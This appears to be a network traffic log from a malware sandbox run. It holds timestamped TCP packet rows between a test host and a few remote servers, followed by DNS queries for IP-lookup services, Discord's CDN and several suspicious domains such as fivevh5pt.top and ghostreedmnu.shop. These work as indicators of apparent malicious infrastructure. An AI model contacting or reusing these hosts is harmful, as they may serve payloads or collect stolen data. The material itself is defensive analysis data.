Sep 29, 2024 00:53:25.947848082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947855949 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.947860003 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.947906971 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.948525906 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.948594093 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.949039936 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949049950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949055910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949065924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949071884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949076891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949112892 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.949219942 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.949249983 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.949258089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949268103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949271917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949275970 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.949279070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949282885 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.949307919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.949341059 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.949350119 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.949517012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949523926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949529886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949541092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949547052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.949557066 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.949585915 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.951152086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951169014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951173067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951184034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951189041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951195002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951201916 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951234102 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.951260090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951267004 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.951272011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951277971 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951288939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951293945 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951319933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.951325893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951332092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951333046 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.951339006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951364040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.951394081 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.951505899 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.951679945 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.952862024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952872038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952877998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952883005 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952888012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952893019 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952898026 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952907085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952919006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952924013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952927113 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.952929020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952935934 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952940941 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952948093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.952974081 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.952991962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.953913927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.953921080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.953927040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.953979969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.953980923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.953986883 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.953993082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954004049 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954009056 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954042912 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.954077959 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954083920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954088926 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954104900 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954111099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954118013 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954133987 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.954170942 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.954602003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954610109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954615116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954624891 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954631090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954636097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954641104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954675913 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.954704046 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.954709053 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954715014 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954720974 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954768896 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.954843998 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954849958 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954855919 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954866886 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954871893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.954906940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.955590963 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.955600977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.955614090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.955624104 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.955630064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.955635071 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.955641985 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.955671072 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.955683947 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.956057072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956072092 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956077099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956083059 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956089973 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956094980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956105947 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956110954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956110954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.956119061 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956126928 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956131935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.956131935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956137896 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956151009 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956157923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.956157923 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.956165075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.956186056 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.956202030 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.008085012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008097887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008105040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008111954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008116961 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008122921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008130074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008142948 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008147955 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008152962 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008158922 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008167028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008172035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008177996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008183002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008191109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.008285046 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.008388996 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.014945984 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.015088081 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.015105009 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.015166998 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.018199921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018212080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018218040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018264055 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018270016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018275976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018280983 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018285990 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018286943 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.018290997 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018296957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018304110 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018311024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018312931 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.018316031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018321991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018327951 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.018340111 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.018374920 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.019040108 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.019056082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.019061089 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.019066095 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.019077063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.019135952 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.019156933 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.019160986 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.019176006 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.019181013 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.019258022 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.019401073 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.020664930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.020673990 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.020680904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.020735025 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.020967007 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.020973921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.020979881 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.020987988 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.021033049 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.021241903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.021322012 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.021343946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.021348953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.021471024 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.021476984 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.021490097 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.021528959 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.022219896 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.022280931 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.022289038 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.022326946 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.022367001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022372961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022377968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022388935 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022394896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022406101 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022413969 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022418976 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022424936 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022429943 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022439957 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.022507906 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.022519112 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.022559881 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.022839069 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022845030 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022850990 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.022907019 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.023005962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023011923 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023017883 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023029089 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023107052 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.023160934 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023166895 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023171902 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023180008 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023206949 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.023228884 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.023273945 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.023289919 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.023304939 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.023338079 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.023408890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023416042 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023421049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023426056 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.023515940 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.023560047 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.023616076 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.024915934 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.024935961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.024949074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.024961948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.024965048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.024967909 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.024979115 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.024987936 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.024992943 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.024995089 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.025001049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.025027990 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.025053024 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.025059938 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.030097008 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030102968 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030107975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030139923 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030145884 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030150890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030160904 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030164003 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.030184031 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030194044 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030200005 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030204058 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030210018 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.030257940 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.030442953 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030447960 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030452967 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030462980 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.030528069 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.031532049 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.031538010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.031543970 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.031629086 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.031661987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.031667948 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.031672955 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.031678915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.031686068 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.031689882 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.031759024 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.031759024 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:26.031846046 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.031905890 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.032063961 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.032126904 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.032131910 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:26.032133102 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.032139063 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.032145023 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.032155991 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.032164097 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.032170057 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.032170057 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:26.032175064 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:26.032212019 CEST	49708	80	192.168.2.9	103.130.147.211

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 00:53:15.583430052 CEST	192.168.2.9	1.1.1.1	0xa7df	Standard query (0)	api64.ipify.org	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:16.543999910 CEST	192.168.2.9	1.1.1.1	0xdee2	Standard query (0)	ipinfo.io	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:21.392193079 CEST	192.168.2.9	1.1.1.1	0x2bc0	Standard query (0)	marafon.in	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:22.157213926 CEST	192.168.2.9	1.1.1.1	0xb993	Standard query (0)	cdn.discordapp.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:38.762171984 CEST	192.168.2.9	1.1.1.1	0x2fd1	Standard query (0)	fivevh5pt.top	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:40.859529972 CEST	192.168.2.9	1.1.1.1	0xb153	Standard query (0)	iplog.co	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:49.463860989 CEST	192.168.2.9	1.1.1.1	0xab1d	Standard query (0)	ghostreedmnu.shop	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:54:28.229013920 CEST	192.168.2.9	141.98.234.31	0x9a00	Standard query (0)	ejrsoyz.ua	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 00:53:15.590846062 CEST	1.1.1.1	192.168.2.9	0xa7df	No error (0)	api64.ipify.org	173.231.16.77	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:15.590846062 CEST	1.1.1.1	192.168.2.9	0xa7df	No error (0)	api64.ipify.org	104.237.62.213	A (IP address)	IN (0x0001)	false
Sep 29, 2024 00:53:16.552778959 CEST	1.1.1.1	192.168.2.9	0xdee2	No error (0)	ipinfo.io	34.117.59.81	A (IP address)	IN (0x0001)	false
